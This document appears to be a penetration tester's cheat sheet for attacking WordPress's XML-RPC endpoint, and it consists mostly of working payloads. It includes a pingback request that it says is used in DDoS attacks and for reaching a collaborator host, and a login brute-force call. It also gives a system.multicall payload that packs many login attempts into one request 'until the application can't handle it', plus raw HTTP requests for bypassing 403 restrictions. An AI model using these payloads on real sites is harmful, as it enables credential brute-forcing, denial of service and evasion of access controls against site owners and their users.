XMLRPC

XML-RPC is a feature of WordPress that enables data to be transmitted with HTTP acting as the transport mechanism and XML as the encoding mechanism. This is used for developers to be able to talk to their application and for the application to talk to other applications. An example could be a client completing a form, gets redirected to another application with the answers of the completed form being displayed by the first application sending it to the second application. XMLRPC is enabled by default on a freshly installed WordPress application and are often forgotten.

One cool thing is that most WAFs do not protect the /xmlrpc.php endpoint.

Hello Method

Application says hello! A good way to see if the API is broken or not:

<methodCall>
<methodName>demo.sayHello</methodName>
<params></params>
</methodCall>

List Method

The first step to see available methods to exploit

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Pingback Method

This method is often used in DDoS attacks as this will make the application send a HTTP request towards a victim. If an adversary pings their collaborator, one may see additional information such as version numbers of components in use and more. Change collaborator.com to the target that should receive a HTTP request. vulnerable-website.com/news/blog should be a valid blogpost path on the vulnerable application. Usually it works with root directory, but depending on it's configuration, it's not a valid blogpost path and another endpoint may be need to be used in the attack. Sometimes outbound HTTP requests are blocked and a few DNS lookups are made instead.

<methodCall>
  <methodName>pingback.ping</methodName>
  <params>
    <param>
      <value>
	  <string>https://collaborator.com/PoC</string>
	  </value>
    </param>
    <param>
      <value>
	  <string>https://vulnerable-website.com/news/blog</string>
	  </value>
    </param>
  </params>
</methodCall>

GetUserBlogs Method

Great method to brute force a singular user. Change USERNAME to a username or email address. Change the PASSWORD to desired values

<methodCall>
	<methodName>wp.getUsersBlogs</methodName>
	<params>
		<param><value>USERNAME</value></param>
		<param><value>PASSWORD</value></param>
	</params>
</methodCall>

Multicall Method

This is a cool one because this will let an adversary to let the application brute force their own users. The two bottom sections may be copy pasted multiple times within a request until the application can't handle it anymore. In this inastance, two users are brute forced simultaneously. Change USERNAME and PASSWORD to desireed values.

<methodCall><methodName>system.multicall</methodName><params><param><value><array><data>

<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>USERNAME</string></value><value><string>PASSWORD</string></value></data></array></value></data></array></value></member></struct></value>

<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>USERNAME</string></value><value><string>PASSWORD</string></value></data></array></value></data></array></value></member></struct></value>

403 Bypass for XMLRPC

Developers try to remediate this issue by restricting access to the /xmlrpc.php endpoint. When, if not in use, one should turn it off completely.

NOTE: application/x-www-form-urlencoded may need to be altered to application/xml in some cases to bypass the restrictions in place. Variations of these methods can lead to a successful response. The User-Agent may not be necesary but in my expereince, some restrictive measures force this header to have a value.

Method 1 - URL-encoding dot

Sometimes, the restriction in place allows a URL-encoded dot

POST /xmlrpc%2ephp HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 86

<methodCall>
<methodName>demo.sayHello</methodName>
<params></params>
</methodCall>

Method 2 - Header Bypass

POST / HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Content-Type: application/x-www-form-urlencoded
X-Rewrite-Url: xmlrpc.php
Content-Length: 86

<methodCall>
<methodName>demo.sayHello</methodName>
<params></params>
</methodCall>

Method 3 - HTTP/HTTPS

Do all of these methods both via HTTP and HTTPS